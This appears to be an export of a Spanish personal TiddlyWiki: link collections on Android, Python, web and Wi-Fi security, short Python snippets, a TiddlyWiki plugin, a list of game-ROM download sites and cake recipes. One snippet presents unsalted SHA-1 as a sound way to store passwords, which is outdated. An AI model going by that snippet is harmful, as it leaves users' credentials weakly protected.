      if ( e.shiftKey )
      {
        p.key = String.fromCharCode(p.key).toUpperCase().charCodeAt(0);
      }

      if ( typeof p.keyPressed == "function" )
      {
        p.keyPressed();
      }
      else
      {
        p.keyPressed = true;
      }
    });

    attach( document, "keyup", function(e)
    {
      keyPressed = false;

      if ( typeof p.keyPressed != "function" )
      {
        p.keyPressed = false;
      }

      if ( p.keyReleased )
      {
        p.keyReleased();
      }
    });

    function attach(elem, type, fn)
    {
      if ( elem.addEventListener )
        elem.addEventListener( type, fn, false );
      else
        elem.attachEvent( "on" + type, fn );
    }
  };

  return p;
}


})();


} //# end of "install only once"
//}}}
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! Tutoriales
* Tutorial de introducción: http://casidiablo.net/tutorial-basico-android
* Jugando con Python: http://www.saghul.net/blog/2010/03/20/jugando-con-python-en-android/
* Tutorial de Hack-a-day: http://hackaday.com/2010/07/15/android-dev-101-%E2%80%93-part-1hello-world/
* FAQ Android Gingerbread: http://blogs.computerworld.com/17479/android_gingerbread_faq
* Development with Android Gingerbread and Eclipse : http://blogs.computerworld.com/16965/improve_android_battery_life
* Tutoriales con ejemplos: http://www.technotalkative.com/android/
* Desarrollo en Android: http://www.sgoliver.net/blog/?p=1313
* Introducción a la programación con Android: http://casidiablo.net/tutorial-basico-android/
* Android Development 101: http://hackaday.com/2010/07/15/android-dev-101-%E2%80%93-part-1hello-world/
* Android Patterns, consejos de diseño: http://www.androidpatterns.com/wiki
* Learn about android programming: http://www.reddit.com/r/learnandroid
* Developing Android Apps: http://www.reddit.com/r/androiddev
* Android Snippets: http://www.androidsnippets.com/
* Android Development Tutorial: http://www.vogella.de/articles/Android/article.html
* Learn Android: http://ofps.oreilly.com/titles/9781449390501/index.html
* Android How To's: https://sites.google.com/site/androidhowto/how-to-1
* Laboratorios de programación: http://sites.google.com/site/androidappcourse/labs
* Curso de programación: http://www.masterdformacion.com/descargas/curso-android-programacion-java-introduccion.pdf
* Libro "Desarrollo en Android": http://www.sgoliver.net/blog/?p=1313

!! Recursos y ejemplos de código
* Wikidroid: http://www.wikidroid.es/index.php?title=P%C3%A1gina_Principal
* Wikicode (sección android): http://es.wikicode.org/index.php/Categor%C3%ADa:Android
* Android Snippets: http://www.androidsnippets.com/
* Androcode: http://androcode.es/

!! Herramientas
* Herramientas de ingeniería inversa: http://www.cyberhades.com/2011/11/01/sistema-de-ingenieria-inversa-para-android
* Listado de recursos: http://www.android.es/aprender-a-programar-y-desarrollar-aplicaciones-android.html
* 20 herramientas gráficas útiles: http://www.elandroidelibre.com/2011/12/20-herramientas-utiles-para-desarrolladores-android.html

!! Librerías
* NyARToolkit realidad aumentada en Android: http://nyatla.jp/nyartoolkit/wiki/index.php?NyARToolkit%20for%20Android.en
* AndroidPlot (dibujo de gráficas): http://androidplot.com/wiki/Home
* And Engine (motor de juegos): http://www.andengine.org/

!! Compilación y descompilación
* Guía para "noobs": http://forum.xda-developers.com/showthread.php?t=1860115
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre tecnologías de programación para la web
</part>
!Enlaces
<part enlaces>
* ''Referencia:''
** w3schools: http://w3schools.com/
** DHTML y más: http://www.dynamicdrive.com/
** A list apart: http://www.alistapart.com/topics/code
** APIs de todo tipo: http://www.programmableweb.com/apis/directory/
** Guías de referencia: http://www.programmableweb.com/reference

* ''Libros, guías y tutoriales:''
** Libros de Lullabot: http://comunidad.dragonjar.org/f189/lullabot-learning-series-everything-bundle-lullabot-com-10321/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! El problema
Un problema bastante habitual en la programación de aplicaciones [[Python]]es su distribución. [[Python]]es un lenguaje interpretado, por lo que requiere de un entorno de ejecución o //runtime// para funcionar. Java, Flash o .Net son otros ejemplos de lenguajes interpretados (o semi interpretados) que requieren un runtime para funcionar. El problema fundamental de [[Python]] es que no está tan difundido como estos, por lo que poca gente tiene instalado el runtime, y tampoco suelen estar por la labor de descargar e instalar el entorno "solo para un programa".

! La solución
La solución: empaquetar nuestro programa en [[Python]] junto con todo lo que necesita el mismo para ejecutarse, y producir un único archivo ejecutable. Este archivo no depende de que se tenga instalado el runtime. La desventaja evidente es que ocupará mucho más, pero su facilidad de distribución puede superar este inconveniente.

Existen principalmente dos paquetes capaces de conseguir esto:
* [[py2exe|http://www.py2exe.org]]: Muy difundido y documentado, pero sólo produce ejecutables para windows.
* [[cx_Freeze|http://cx-freeze.sourceforge.net]]: Menos conocido, pero puede producir ejecutables para cualquier plataforma que soporte [[Python]]. Principalmente Windows, Linux y Mac OS.

! Referencias
* cx_Freeze: http://cx-freeze.sourceforge.net
* py2exe: http://www.py2exe.org/
* Tutorial para empaquetar juegos PyGame: http://gamedev.pansapiens.com/2008/04/packaging-a-python-game-for-distribution-on-windows/
* Tutorial de py2exe: http://www.py2exe.org/index.cgi/Tutorial
!Descripción
<part descripcion>
Hoy en día es muy común contar con ordenadores portátiles o teléfonos móviles dotados de receptores Wifi. El mayor peligro al que se enfrentan este tipo de dispositivos son las redes Wifi desconocidas o no fiables. Nunca puedes saber quien puede estar zancochando (me encanta esta palabra) en una red Wifi pública. Este peligro se acentúa debido a herramientas de ataque automatizadas como [[Cain|www.oxid.it/cain.html]] o el reciente [[Firesheep|http://codebutler.github.com/firesheep/]].

En esta sección sección se dan varios consejos para proteger al usuario de redes wireless de entornos hostiles, y al administrador de redes para fortalecer la seguridad y evitar que se cuelen indeseables.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Montar un servidor VPN para cifrar la conexión: http://www.securitybydefault.com/2010/11/montando-tu-propio-servidor-vpn-pph.html
** Como acceder a servicios con portal cautivo: http://blog.48bits.com/2008/11/26/interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet/
** Tunelizar DNS con iodine: http://www.securitybydefault.com/2010/01/tunelizando-dns-otra-opcion-con-iodine.html
** Tunelizando TCP sobre DNS mediante dns2tcp: http://www.ziritione.org/blog/internet/dns2tcp-entunelando-tcp-sobre-dns
** ¿Cuando funciona el tunelizado sobre DNS?: http://www.securitybydefault.com/2008/12/de-un-hotel-internet-sin-pasar-por-caja.html
** División de una red inalámbrica en zonas: http://www.securitybydefault.com/2010/01/red-inalambrica-con-varias-zonas-para.html
** Cambio manual de tu dirección MAC en windows: http://www.nthelp.com/NT6/change_mac_w2k.htm
** Route IDS, verificador de cambios en rutas: http://www.securitybydefault.com/2010/11/quien-esta-tocando-las-rutas.html
** Protegerse de FireSheep: http://www.securitybydefault.com/2010/11/faq-como-me-protejo-de-firesheep.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Los protocolos de red son una manera de separar los distintos aspectos de una conexión entre redes. Los distintos niveles que intervienen se estratifican y permiten la separación lógica de las distintas propiedades de una conexión. El modelo de protocolos de red más utilizado es el modelo [[OSI|http://es.wikipedia.org/wiki/Modelo_OSI]] de siete capas:
# ''[[Capa fisica|HardwareRedes]]:'' Es la parte física de la conexión: cables, tarjetas, routers, antenas, etc. En este nivel se define como se codifican las señales electrónicas en los distintos medios de transmisión
# ''[[Capa de enlace|ProtocolosEnlace]]:'' Establece como se localiza cada dispositivo dentro de la red, la topología, la corrección de errores, etc. En esta capa aparece la dirección MAC.
# ''[[Capa de red|ProtocolosRed]]:'' Define como se conectan entre si las distintas redes y proporciona la forma de dirigir los paquetes a una dirección de red dada. Hoy en día se suele usar el protocolo [[IP]]v4 para esta capa.
# ''[[Capa de transporte|ProtocolosTransporte]]:'' Se encarga de definir como se transmiten los datos entre dos dispositivos conectados, sin importar como se realiza la localización de los mismos. Para esta capa se suelen utilizar los protocolos [[TCP]] y [[UDP]].
# ''[[Capa de sesión|ProtocolosSesión]]:'' Esta capa se encarga de controlar la conexión para asegurar el estado de la conexión y poder validarla y recobrarla en caso de corte. En la mayor parte de sistemas esta capa se ignora y aparece vacía.
# ''[[Capa de presentación|ProtocolosPresentación]]:'' Esta capa se encarga de traducir entre distintos formatos de datos, como sistemas de compresión o codificación. En muchas ocasiones esta capa no se utiliza.
# ''[[Capa de aplicación|ProtocolosAplicación]]:'' Es la capa de más alto nivel y es la que incorpora los protocolos que utiliza cada aplicación en concreto, como [[HTTP]] para web o [[FTP]] para datos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Modelo_OSI
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Protocolos correspondientes al nivel 7 del [[modelo OSI|http://es.wikipedia.org/wiki/Modelo_OSI]].
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Capa_de_aplicaci%C3%B3n
* Anatomía de un mensaje de tweeter: http://www.readwriteweb.com/archives/this_is_what_a_tweet_looks_like.php
* Protocolo bancario ISO 8583: http://en.wikipedia.org/wiki/ISO_8583
* Introducción al ISO 8583: http://kuriositaet.de/iso8583/introduction.html
* DNS: https://secure.wikimedia.org/wikipedia/en/wiki/Resource_record

!! Servidores
* Servidor NTP del BIFI: servidor.bifi.unizar.es
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Listado de fabricantes y sus MAC: http://standards.ieee.org/develop/regauth/oui/oui.txt
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
El objetivo es crear un panel web para mostrar avisos y notas de forma colaborativa. El objetivo sería una especie de evernote, pero más sencillo y que permita compartir notas con mayor facilidad. Además, sería interesante que pudiera notificar los cambios de diferentes maneras: RSS, email, mensaje push a android,...

! Opciones
!Descripción
<part descripcion>
Información sobre proyectos personales
</part>
!Enlaces
<part enlaces>
* ''Proyectos en Assembla:''
** Utilidades y fragmentos de código [[Python]]: https://www.assembla.com/spaces/PythonMiscUtils
** Bot VirtualRuben: https://www.assembla.com/spaces/virtualruben
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Información sobre el lenguaje de script Python
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/Python
* Página principal: http://python.org
* Portable Python: http://www.portablepython.com/

!! Referencia
* Library Reference 2.5.4: http://python.org/doc/2.5.4/lib/lib.html
* Library Reference 2.6: http://docs.python.org/library/index.html
* Library Reference 3.1: http://docs.python.org/3.1/library/index.html

!! Portales y comunidades
* PyAr: http://python.org.ar/pyar/Inicio

!! Documentación general
* Documentación oficial: http://docs.python.org
* Python Howtos: http://docs.python.org/dev/howto/index.html
* Python Tutorial: http://docs.python.org/tutorial/index.html
* Python para todos: http://mundogeek.net/tutorial-python
* Guía de aprendizaje: http://pyspanishdoc.sourceforge.net/tut/
* Introducción a la programación con Python: http://marmota.act.uji.es/ig04/pdf/python.pdf
* Que NO hacer al programar en Python: http://plope.com/Members/chrism/now_not_to_write_python
* Python for [[Java]] programmers: http://python.computersci.org/Main/TableOfContents
* How to Think Like a Computer Scientist: http://openbookproject.net/thinkCSpy/
* Dive into Python: http://www.diveintopython.org
* Inmersión en Python: http://es.diveintopython.org/
* Artículos de IBM: http://www.ibm.com/developerworks/views/linux/libraryview.jsp?search_by=charming+python
* Portable Python: http://www.portablepython.com/wiki/Documentation
* Curso de Google: http://code.google.com/intl/es-ES/edu/languages/google-python-class/
* Preguntas Infrecuentes: http://norvig.com/python-iaq.html
* Invent You Own Computer Games with Python: http://inventwithpython.com/chapters/
* Enlaces interesantes: http://www.cyberhades.com/2011/11/16/interesante-listado-de-enlaces-sobre-python/
* Python para ingenieros: http://picachu.dmt.upm.es/python/
* Hacking Secret Ciphers with Python: http://inventwithpython.com/hacking/chapters/

!! Videocursos
* Python Forum: http://marakana.com/forums/python/python/

!! Técnicas avanzadas
* Cadenas de documentación: http://effbot.org/zone/pythondoc.htm
* Patrones de diseño en Python: http://www.python.org/workshops/1997-10/proceedings/savikko.html
* Más patrones de diseño: http://www.suttoncourtenay.org.uk/duncan/accu/pythonpatterns.html
* Técnicas avanzadas de programación: http://ivory.idyll.org/articles/advanced-swc/
* Python idiomático: http://jaynes.colorado.edu/PythonIdioms.html
* Acceso a oracle desde Python: http://74.125.77.132/search?hl=es&source=hp&q=cache%3Ahttp%3A%2F%2Fwww.oracle.com%2Ftechnology%2Fpub%2Farticles%2Fdevlin-python-oracle.html&meta=&aq=f&aqi=&aql=&oq=&gs_rfai=
* The Python Game Book: http://thepythongamebook.com/en:start
* Ingeniería inversa con Python: http://www.cyberhades.com/2011/03/29/ingenieria-inversa-con-python/

!! Algoritmos en Python
* Operaciones binarias: http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/
* Exponenciación binaria: http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/
* Expansión en base-n: http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/

!! Trucos y consejos
* Búsqueda de patrones: http://monkey.org/~marius/pattern-matching-in-python.html
* Reglas de ejecución: http://siddhi.blogspot.com/2009/05/pattern-matching-with-peak-rules.html
* Consejos para el módulo datetime: http://www.enricozini.org/2009/debian/using-python-datetime/
* Como usar SimpleParser: http://www.ibm.com/developerworks/linux/library/l-simple.html?S_TACT=105AGX03&S_CMP=EDU
* Numerical Python: http://www.ibm.com/developerworks/linux/library/l-cpnum.html?S_TACT=105AGX03&S_CMP=EDU
* Uso de decorators: http://www.ibm.com/developerworks/linux/library/l-cpdecor.html?S_TACT=105AGX03&S_CMP=EDU
* Trabajar con cadenas unicode, los codecs: http://www.doughellmann.com/PyMOTW/codecs/
* Cómo usar el debugger interactivo [[pdb]]: http://www.doughellmann.com/PyMOTW/pdb/

!! IDEs y herramientas de programación
* VisualWX IDE: http://visualwx.altervista.org/
* Stani's Python Editor (SPE): http://developer.berlios.de/project/showfiles.php?group_id=4161
* Eric Python IDE: http://eric-ide.python-projects.org/
* Pydev Eclipse Plugin: http://pydev.org/
* Spyder: http://packages.python.org/spyder/
* Dr Python: http://drpython.sourceforge.net/
* Convierte VIM en un IDE para Python: http://sontek.net/turning-vim-into-a-modern-python-ide

!! Programación de GUIs
* Artículo resumen en Somos Libres: http://somoslibres.org/modules.php?name=News&file=article&sid=2226

!! Como hacer sistemas de plugins
* http://lucumr.pocoo.org/2006/7/3/python-plugin-system
* http://thinkhole.org/wp/2006/04/04/making-python-plugins-easier/
* http://www.luckydonkey.com/2008/01/02/python-style-plugins-made-easy/
* http://martyalchin.com/2008/jan/10/simple-plugin-framework/
* http://termie.pbworks.com/SprinklesPy
* http://www.theatreofnoise.com/2007/07/architecture-for-plugin-code-in-python.html

!! Herramientas y proyectos propios
* Virtual Ruben: http://www.assembla.com/spaces/dashboard/index/virtualruben
* Python Misc Utils: http://www.assembla.com/wiki/show/PythonMiscUtils

!! Frameworks web
* Django at a glance: http://docs.djangoproject.com/en/dev/intro/overview/
* SOAP en GAE: http://www.ioncannon.net/web-services/180/soap-on-the-google-app-engine-platform/
* XML-RPC en Google App Engine (GAE): http://appengine-cookbook.appspot.com/recipe/xml-rpc-server-using-google-app-engine/
* Libro en español de web2py: http://www.latinuxpress.com/books/drafts/web2py/
* Tornado Web Server: http://www.tornadoweb.org/

!! Pygame
* Los 10 mejores tutoriales con pygame: http://inventwithpython.com/blog/2010/09/01/the-top-10-pygame-tutorials/
* Tutorial completo para hacer un pong: http://razonartificial.com/tutoriales-pygame/
* Creando un arkanoid: http://razonartificial.com/2010/09/creando-un-arkanoid-parte-1/
* Tutorial de Eli Bendersky: http://eli.thegreenplace.net/category/programming/python/pygame-tutorial/
* Invent Your Own Games with Python: http://inventwithpython.com/
* S. J. Brown's Guide To Write Games: http://ezide.com/games/writing-games.html

!! Python científico
* Getting Started with SciPy: http://www.codeproject.com/KB/library/scipy.aspx
* Replacing Mathematica with Python: http://www.johndcook.com/blog/2010/07/09/replacing-mathematica-with-python/

!! Otra documentación
* Entrada en el blog: http://desproposito.blogsome.com/2009/01/11/recursos-para-aprender-python/

!! Cosas curiosas
* Python para niños: http://code.google.com/p/swfk-es/

!! Código fuente y ejemplos
* Chris' Python Page: http://homepage.hispeed.ch/py430/python/index.html
</part>

! Ejemplos de código
<part codigo>
<<tagging [[CodigoPython]] >>
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Expresiones regulares multilínea^^[[<editar>|$1]]^^
Se puede indicar que la expresión regular afecta a varias líneas anteponiendo un {{{(?m)}}} a la expresión regular. Por ejemplo, para sustituir la última "c" de cada línea:
<code python>
import re

#Cadena multilínea de ejemplo:
s = """abc
dec"""

print re.sub("c$", "X", s)      #Sólo sistituye la última c
print re.sub("(?m)c$", "X", s)  #Sustituye todas correctamente
</code>
!!Imprimir la traza de error^^[[<editar>|$1]]^^
Para mostrar la traza de un error capturado por un bloque {{{try}}} - {{{except}}}:
<code python>
import traceback
try:
    print 1/0 #codigo que puede fallará
except:
    traceback.print_stack()
</code>
!!Generar SHA-1 en base64 ^^[[<editar>|$1]]^^
El sistema de hash SHA-1 es muy popular para usar en sistemas de autenticación. En vez de almacenar la contraseña se almacena el resumen creado con SHA-1 de la contraseña. Para autenticar un usuario se calcula el SHA-1 de la contraseña suministrada y se compara con el almacenado. Si coinciden, se permite el acceso.
<code python>
import hashlib, base64
txt = raw_input("Texto: ")
print base64.b64encode(hashlib.sha1(txt).digest())
</code>
!!Escribir por stdout con UTF-8 ^^[[<editar>|$1]]^^
En entornos de lengua no inglesa es muy común que al imprimir por la salida estándar mensajes localizados con caracteres propios del idioma local aparezcan errores de codificación. El siguiente código muestra como forzar a que se escriba en UTF-8, con lo que se evitan errores en cualquier script que utilice la cabecera
{{{
# -*- coding: utf-8 -*-
}}}

El código es el siguiente:
<code python>
# -*- coding: utf-8 -*-
import codecs
import sys

text = u'pi: π'

# Fallará:
try:
    print text
except:
    print "Ha fallado al mostrar el texto siguiente: %s" % repr(text)

# Envuelve sys.stdout con un writer que sabe como manejar datos Unicode
wrapped_stdout = codecs.getwriter('UTF-8')(sys.stdout)
wrapped_stdout.write(u'Via write: ' + text + '\n')

# Reemplaza sys.stdout por el anterior
sys.stdout = wrapped_stdout

print u'Via print:', text
</code>
!!Convertir ASCII a HEX^^[[<editar>|$1]]^^
En una sola línea:
<code python>
map(lambda x:hex(ord(x)), "cadena")
</code>
/***
|Name:|QuickOpenTagPlugin|
|Description:|Changes tag links to make it easier to open tags as tiddlers|
|Version:|3.0.1 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#QuickOpenTagPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
config.quickOpenTag = {

	dropdownChar: (document.all ? "\u25bc" : "\u25be"), // the little one doesn't work in IE?

	createTagButton: function(place,tag,excludeTiddler) {
		// little hack so we can do this: <<tag PrettyTagName|RealTagName>>
		var splitTag = tag.split("|");
		var pretty = tag;
		if (splitTag.length == 2) {
			tag = splitTag[1];
			pretty = splitTag[0];
		}
		
		var sp = createTiddlyElement(place,"span",null,"quickopentag");
		createTiddlyText(createTiddlyLink(sp,tag,false),pretty);
		
		var theTag = createTiddlyButton(sp,config.quickOpenTag.dropdownChar,
                        config.views.wikified.tag.tooltip.format([tag]),onClickTag);
		theTag.setAttribute("tag",tag);
		if (excludeTiddler)
			theTag.setAttribute("tiddler",excludeTiddler);
    		return(theTag);
	},

	miniTagHandler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var tagged = store.getTaggedTiddlers(tiddler.title);
		if (tagged.length > 0) {
			var theTag = createTiddlyButton(place,config.quickOpenTag.dropdownChar,
                        	config.views.wikified.tag.tooltip.format([tiddler.title]),onClickTag);
			theTag.setAttribute("tag",tiddler.title);
			theTag.className = "miniTag";
		}
	},

	allTagsHandler: function(place,macroName,params) {
		var tags = store.getTags(params[0]);
		var filter = params[1]; // new feature
		var ul = createTiddlyElement(place,"ul");
		if(tags.length == 0)
			createTiddlyElement(ul,"li",null,"listTitle",this.noTags);
		for(var t=0; t<tags.length; t++) {
			var title = tags[t][0];
			if (!filter || (title.match(new RegExp('^'+filter)))) {
				var info = getTiddlyLinkInfo(title);
				var theListItem =createTiddlyElement(ul,"li");
				var theLink = createTiddlyLink(theListItem,tags[t][0],true);
				var theCount = " (" + tags[t][1] + ")";
				theLink.appendChild(document.createTextNode(theCount));
				var theDropDownBtn = createTiddlyButton(theListItem," " +
					config.quickOpenTag.dropdownChar,this.tooltip.format([tags[t][0]]),onClickTag);
				theDropDownBtn.setAttribute("tag",tags[t][0]);
			}
		}
	},

	// todo fix these up a bit
	styles: [
"/*{{{*/",
"/* created by QuickOpenTagPlugin */",
".tagglyTagged .quickopentag, .tagged .quickopentag ",
"	{ margin-right:1.2em; border:1px solid #eee; padding:2px; padding-right:0px; padding-left:1px; }",
".quickopentag .tiddlyLink { padding:2px; padding-left:3px; }",
".quickopentag a.button { padding:1px; padding-left:2px; padding-right:2px;}",
"/* extra specificity to make it work right */",
"#displayArea .viewer .quickopentag a.button, ",
"#displayArea .viewer .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink ",
"	{ border:0px solid black; }",
"#displayArea .viewer .quickopentag a.button, ",
"#mainMenu .quickopentag a.button ",
"	{ margin-left:0px; padding-left:2px; }",
"#displayArea .viewer .quickopentag a.tiddlyLink, ",
"#mainMenu .quickopentag a.tiddlyLink ",
"	{ margin-right:0px; padding-right:0px; padding-left:0px; margin-left:0px; }",
"a.miniTag {font-size:150%;} ",
"#mainMenu .quickopentag a.button ",
"	/* looks better in right justified main menus */",
"	{ margin-left:0px; padding-left:2px; margin-right:0px; padding-right:0px; }", 
"#topMenu .quickopentag { padding:0px; margin:0px; border:0px; }",
"#topMenu .quickopentag .tiddlyLink { padding-right:1px; margin-right:0px; }",
"#topMenu .quickopentag .button { padding-left:1px; margin-left:0px; border:0px; }",
"/*}}}*/",
		""].join("\n"),

	init: function() {
		// we fully replace these builtins. can't hijack them easily
		window.createTagButton = this.createTagButton;
		config.macros.allTags.handler = this.allTagsHandler;
		config.macros.miniTag = { handler: this.miniTagHandler };
		config.shadowTiddlers["QuickOpenTagStyles"] = this.styles;
		store.addNotification("QuickOpenTagStyles",refreshStyles);
	}
}

config.quickOpenTag.init();

//}}}
<<showtoc>>
! Descripción
<part descripcion>
Información sobre la química orgánica e inorgánica y todo lo relacionado con ella.
</part>

! Enlaces
<part enlaces>
!! misc
* Traducción de los químicos habituales: http://www.yaestaellisto.com/por-que-en-las-etiquetas-de-los-cosmeticos-aparecen-siempre-los-ingredientes-en-ingles/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Real Academia Española


http://rae.es
<<showtoc>>
! Descripción
<part descripcion>
ROMs de juegos de videoconsolas
</part>
! Enlaces
<part enlaces>
!! Varias plataformas
* Listado de sitios: http://pandorawiki.org/Legal_Emulation_Resources
* ROM Hustler: http://romhustler.net
* ROM Nation: http://www.romnation.net
* ROM World: http://www.rom-world.com 
* Emulanium: http://www.emulanium.com
* Cool ROM: http://coolrom.com/
* Frozen Roms: http://www.frozen-roms.in/
* ROM Gods: http://rom-gods.net
* ROM freaks: http://www.rom-freaks.net
* Emugames World: http://www.emugamesworld.com

!! Nintendo DS
* http://www.nintendo-ds-roms.com/

!! Game Boy
* http://www.gameboy-advance-roms.com/

!! Calculadoras Texas Instruments
* The Old Computer (sección TI): http://www.theoldcomputer.com/roms/index.php?folder=Texas-Instruments
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Ingredientes
<part ingredientes>
* 150 gramos de harina de repostería
* 100 gramos de almendra molida
* 75 gramos de aceite de girasol
* 150 mililitros de leche
* 3 huevos
* 200 gramos de azúcar
* 5 gramos de bicarbonato
* 5 gramos de levadura
* 80 gramos de cacao en polvo
* mantequilla para untar los moldes
</part>

! Elaboración
<part elaboración>
Precalienta el horno a 180º C. Mezcla en un cuenco amplio todos los ingredientes, primero tamizando la harina con la levadura y el bicarbonato. Bate todos los ingredientes hasta obtener una masa cremosa y homogénea.

Unta los moldes con mantequilla y vierte la masa elaborada en ellos dejando medio dedo libre porque subirá. Introduce en el horno caliente y hornea durante 15 minutos aproximadamente, después apaga el horno y deja el bizcocho 5 minutos dentro. Después retira los moldes del horno y deja enfriar antes de desmoldar.
</part>

! Presentación
<part presentación>
Sirve el Bizcocho de almendras y chocolate espolvoreando un poco de azúcar glass y cacao en polvo. Finalmente sirve una salsera con sirope de chocolate para que los comensales bañen su bizcocho al gusto.
</part>

! Notas y advertencias
<part notas>
Receta obtenida de:
http://www.gastronomiaycia.com/2009/01/30/bizcocho-de-almendras-y-chocolate/
</part>
! Ingredientes
<part ingredientes>
* 300g de calabaza pelada y limpia
* 250g de azucar
* 300g de harina para bizcocho
* 100g de mantequilla
* 4 huevos
* Levadura
* 1 cucharadita de canela
* Esencia de vainilla
</part>

! Elaboración
<part elaboración>
# Se corta la calabaza en trozos y se asa. Se puede poner en el microondas, tapada con film transparante 10 minutos a máxima potencia.
# Mientras tanto, se baten los huevos con el azucar hasta que quede homogéneo y empiece a blanquear
# Se añade la levadura, la vainilla y la canela a los huevos batidos.
# Se va agregando la harina removiendo bien para que no queden grumos y la masa sea compacta y homogénea.
# Se funde la mantequilla (1 minuto en el microondas) y se añade a la mezcla.
# La calabaza asada se aplasta con un tenedor haciendo un puré y se añade a la mezcla. Se remueve bien para que quede la pasta bien mezclada y sin trozos grandes de calabaza.
# Se unta en mantequilla y se enharina un molde. Accicentalmente, descubrí que también se puede untar con un poco de aceite de oliva, añadir harina, y con un pincel hacer una pequeña "maseta" que se extiende bien por todo.
# Se vierte la masa en el molde y se introduce el molde en el horno precalentado a 170ºC durante 50 minutos.
</part>

! Presentación
<part presentación>
Se desmolda y se cubre opcionalmente con azucar glass.
</part>

! Notas y advertencias
<part notas>
Basado parcialmente en esta receta: http://www.petitchef.es/recetas/postre/bizcocho-de-calabaza-fid-1506124
</part>
!Fuente
Gracias a Zootropo: http://mundogeek.net/archivos/2010/08/10/brownie-al-microondas-en-solo-3-minutos/

!Ingredientes
<part ingredientes>
* 4 cucharas soperas de harina
* 4 cucharas soperas de azúcar
* 2 cucharas soperas de cacao en polvo
* 1 huevo
* 3 cucharas soperas de leche
* 3 cucharas soperas de aceite
</part>

!Elaboración
<part elaboración>
# Mezcla la harina, el azúcar y el cacao en una taza no demasiado pequeña
# Añade el huevo a la mezcla
# Vierte también la leche y el aceite, y remueve hasta obtener una mezcla uniforme.
# Coloca la taza en el microondas a máxima potencia durante 3 minutos 
</part>

!Notas y advertencias
<part notas>
Como cacao se puede utilizar el cacao en polvo de hacer chocolate a la taza, pero en caso de no disponer, se puede sustituir por Colacao o Nesquik
</part>
! Ingredientes
<part ingredientes>
* 90 gr de mantequilla en pomada (a temperatura ambiente, sin fundir)
* 60 gr de azúcar glace
* 3 huevos medianos ( la receta dice 120 gr o dos grandes) (en verano es preferible utilizar medianos, los grandes contienen más agua de la habitual)
* 50 gr de harina de repostería
* ¼ de cucharilla de canela en polvo
* Una pizca de sal
